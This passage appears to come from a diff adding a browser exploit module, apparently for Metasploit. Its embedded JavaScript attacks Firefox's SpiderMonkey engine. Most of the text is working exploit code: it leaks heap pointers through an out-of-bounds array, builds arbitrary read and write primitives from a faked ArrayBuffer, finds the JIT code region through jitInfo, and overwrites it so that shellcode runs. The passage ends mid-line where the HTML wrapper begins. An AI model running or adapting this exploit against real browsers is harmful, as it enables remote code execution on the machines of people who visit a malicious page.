246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480); + + old_rareargdat_ptr = evil[511]; + print("[+] Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16)); + + iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value + counter = 0; // Used to prevent a while(true) situation + while(counter < 0x200) { + // Read the current address + output = weak_read32(arg, bigint_to_dbl(iterator)); + + // Check if it's the expected size value for our ArgumentsObject object + if(output == 0x1e10 || output == 0x1e20) { + // If it is, then read the ArgumentsData pointer + ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n)); + + // Get the pointer in ArgumentsData to RareArgumentsData + ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n)); + + // ad_location + 8 points to the RareArgumentsData pointer, so this should match + // We do this because after spraying arguments, there may be a few ArgumentObjects to go past + if((ad_location + 8n) == ptr_in_argdat) break; + } + // Iterate backwards + iterator = iterator - 8n; + + // Increment counter + counter += 1; + } + + if(counter == 0x200) { + print("[-] Failed to get AD location"); + return; + } + + print("[+] AD location: " + ad_location.toString(16)); + + // The target Uint32Array - A large size value to: + // - Help find the object (Not many 0x00101337 values nearby!) + // - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes) + target_uint32arr = new Uint32Array(0x101337); + + // Find the Uint32Array starting from the original leaked Nursery pointer + iterator = dbl_to_bigint(old_rareargdat_ptr); + counter = 0; // Use a counter + while(counter < 0x5000) { + + // Read a memory address + output = weak_read32(arg, bigint_to_dbl(iterator)); + + // If we have found the right size value, we have found the Uint32Array! + if(output == 0x101337) break; + + // Check the next memory location + iterator = iterator + 8n; + + // Increment the counter + counter += 1; + } + + if(counter == 0x5000) { + print("[-] Failed to find the Uint32Array"); + return; + } + + // Subtract from the size value address to get to the start of the Uint32Array + arr_buf_addr = iterator - 40n; + + // Get the Array Buffer backing store + arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n)); + print("[+] AB Location: " + arr_buf_loc.toString(16)); + + // Create a fake ArrayBuffer through cloning + iterator = arr_buf_addr; + for(i=0;i<64;i++) { + output = weak_read32(arg, bigint_to_dbl(iterator)); + target_uint32arr[i] = output; + iterator = iterator + 4n; + } + + // Cell Header - Set it to Nursery to pass isNursery() + target_uint32arr[0x3fffa] = 1; + + // Write an unboxed pointer to arguments[0] + evil[512] = bigint_to_dbl(arr_buf_loc); + + // Make it NaN-Boxed + write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0] + + // From here we have a fake UintArray in arg[0] + // Pointer can be changed using target_uint32arr[14] and target_uint32arr[15] + fake_arrbuf = arg[0]; + + // Get the address of the shellcode function object + shellcode_addr = addrof(arg, shellcode); + print("[+] Function is at: " + shellcode_addr.toString(16)); + + // Get the jitInfo pointer in the JSFunction object + jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_ + print("[+] jitinfo: " + jitinfo.toString(16)); + + // We can then fetch the RX region from here + rx_region = weak_read64(arg, bigint_to_dbl(jitinfo)); + print("[+] RX Region: " + rx_region.toString(16)); + + iterator = rx_region; // Start from the RX region + found = false + // Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode. + for(i = 0; i < 0x800; i++) { + data = weak_read64(arg, bigint_to_dbl(iterator)); + if(data == 0x41414141n) { + iterator = iterator + 8n; + found = true; + break; + } + iterator = iterator + 8n; + } + if(!found) { + print("[-] Failed to find the JIT start"); + return; + } + + // We now have a pointer to the start of the shellcode + shellcode_location = iterator; + print("[+] Shellcode start: " + shellcode_location.toString(16)); + + // And can now overwrite the previous jitInfo pointer with our shellcode pointer + write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location)); + + print("[*] Triggering...") + shellcode(); // Triggering our shellcode is as simple as calling the function again. + } + main(); + JS + + jscript = add_debug_print_js(jscript) html = %(